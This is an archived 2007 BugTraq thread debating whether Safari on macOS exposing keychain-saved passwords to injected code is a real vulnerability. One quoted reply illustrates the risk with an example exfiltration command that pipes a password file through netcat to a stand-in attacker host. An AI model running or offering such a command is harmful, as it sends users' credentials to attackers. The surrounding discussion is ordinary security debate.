BugTraq
Re: RE: Apple Safari on MacOSX may reveal user's saved passwords May 14 2007 10:35PM
poplix papuasia org (1 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 15 2007 10:15PM
David Cantrell (d cantrell outcometechnologies com) (1 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 16 2007 05:42PM
graham coles the-logic-group com (2 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 17 2007 11:47AM
David Cantrell (d cantrell outcometechnologies com) (2 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 17 2007 05:50PM
graham coles the-logic-group com (1 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 18 2007 01:23PM
poplix (poplix papuasia org) (1 replies)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 18 2007 05:13PM
Kevin Finisterre (lists) (kf_lists digitalmunition com) (1 replies)
Make this javascript for Safari show me the saved key for another
application (Like a stored WEP key) and I'll be impressed.

-KF

On May 18, 2007, at 9:23 AM, poplix wrote:

> On 17 May 2007, at 7:50 PM, graham.coles (at) the-logic-group (dot) com [email concealed] wrote:
>
>> It is also why I don't leave my machine logged in and accessible
>> to other
>> users, which appears to be the whole basis of this 'vulnerability'.
>
> this is NOT the basis of the vulnerability. The point is that
> normally a malicious applications running as a nonroot are not
> able to read keychained passwords.
> In this case to steal passwords is sufficent to entice the victim
> to execute a malicious script, that normally it's not enough since
> keychain refuses access to untrusted applications.
> This issue exposes keychained password as those are saved in a text
> file: an inexperienced user can loose his password by executing an
> untrusted malicious shell script (ie "cat /home/pop/pass | nc
> steal.com 666")
>
>
>
>>
>> The whole concept of the keychain, however, is to restrict access
>> to its
>> contents to the owner. If you can happily log in as the owner,
>> then you
>> have everything they can access, INCLUDING the keychain. If they
>> can't do
>> this, you just have some encrypted data. You don't HAVE to store web
>> passwords, of course.
>
> keychain asks for password when the owner wants to see his data and
> having access to a computer doesn't mean that you have the login
> password too
>
>
>> If you are sitting at the machine of a person who has left it
>> logged in
>> and they use this feature, then whatever web browser you are using
>> will
>> believe you are that person and provide access to the website
>> automatically--you don't need to see the password to use it.
>
> and what if you gain a 5 minutes access to a laptop in the middle
> of the desert where internet connection is missing . . .
>
>
>>
>> I'd like to know what Apple were supposed to do to fix this?
>
> i think it's sufficent to untrust the injected code....
>
>
>>
>> It is, after all, YOUR keychain with YOUR passwords that YOU want
>> applications to recover when YOU are logged in. Why shouldn't YOU
>> be able
>> to access it. If you don't want to use it don't, but if someone
>> has to be
>> logged in as you to read it, that sounds about right.
>
> right?? it's like having passwords saved in a text file and 'chmod
> 700' it
>
>
>>
>>>> Someone has *ROOT* access to your system REMOTELY over ssh and
>>>> you're
>>>> worried that they might be able to retrieve a password from your
>> keychain.
>
> rooting a computer is really not the point, it' quite obvious that
> "rooted comp" => "TOTAL compromise"
>
>
>
> Let me make a question: what if safari makes loaded password part
> of the html so it's shown when clicking "view page source" ..??
> should it be considered a vulnerability??
>
>
> cheers,
> -poplix
>
>
>
>
>
>
>
>>
>>> Yes, it would be annoying if someone rooted my laptop. It would
>>> be a
>>> lot more annoying if they not only rooted my laptop but also
>>> cleaned out
>>> my bank account via my browser.
>>
>> 'Annoying' is the understatement of the millennium.
>>
>> As far as root access goes, see my comments above regarding key
>> loggers?
>>
>> With root access they will have your gpg file, they will know what
>> processes are running (they will know when you run gpg) and they can
>> capture your keystrokes. Is this then a vulnerability of gpg? So
>> much for
>> keeping your online banking safe. Even if you memorize the
>> passwords, they
>> can still see your keypresses and thereofre empty your bank account.
>>
>> If someone roots your machine, security is non-existant and trust
>> beyond
>> repair. Don't trivialize this by comparing it to a 'might be able
>> to see
>> your web passwords' issue, this is disaster incarnate and game
>> over all
>> rolled into one!
>
>>
>>> It *is* somewhat disturbing that root can so trivially interfere
>>> with
>>> the guts of someone else's processes. Normally, root has to do a
>>> lot of
>>> work to do that.
>>
>> With great power comes great responsibility, which is precisely
>> why Macs
>> have the root login disabled and require a user designated as
>> 'Administrator' to authenticate themself whenever system files are
>> modified or installed. Other users are created as non-
>> administrator and
>> remote login is blocked by the firewall. The chances of anyone
>> actually
>> logging in remotely as root on a normal Mac are zero as you, while
>> administrator, would have to specifically enable all of this. This
>> is why
>> Apple warn you not to do it.
>>
>>>>> a different non-root user on the console can do it too
>>>> Which again restricts this vunerability (as previously
>>>> mentioned) to
>> an
>>>> attacker who happens to be sitting in front of your machine(!)
>>
>>> Did you read the bit where I speculated about setuid applications?
>>
>> Yes, but again if you can get this far you either have the person's
>> identity or root access (bad or hopeless situation respectively). Why
>> worry incessantly about things that you stored in the keychain being
>> accessed when someone can access everything you own.
>>
>> Should the keychain refuse to divulge its contents to a person
>> authenticated as the owner?
>>
>> Is the answer to remove the keychain and watch as people revert to
>> storing
>> their passwords unencrypted in stickies, or text files on their
>> desktop?
>>
>> You normally have to come up with a feasible attack vector for
>> something
>> to be a vulnerability, this seems far too early to be notifying the
>> vendor.
>>
>> Saving passwords on any web browser is a lousy idea from a security
>> perspective. However, people don't like security, they like
>> convenience.
>> The only real fix here is perhaps a disclaimer message advising
>> people not
>> to store important passwords for websites in the browser in the first
>> place. But lets face reality, even if the did would it stop people
>> doing
>> it?
>>
>
>
>
>
>
>>> --
>>> David Cantrell
>>
>> --
>> Graham Coles
>>
>>
>>
>> The Logic Group Enterprises Limited
>> Logic House, Waterfront Business Park, Fleet Road, Fleet,
>> Hampshire, GU51 3SB, UK
>> Registered in England. Registered No. 2609323
>

[ reply ]
Re: Apple Safari on MacOSX may reveal user's saved passwords May 18 2007 11:43PM
poplix (poplix papuasia org)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 17 2007 04:49PM
Mark Senior (senatorfrog gmail com)
Re: Apple Safari on MacOSX may reveal user's saved passwords May 16 2007 07:21PM
Ian Ward Comfort (icomfort rescomp stanford edu)


 

Privacy Statement
Copyright 2010, SecurityFocus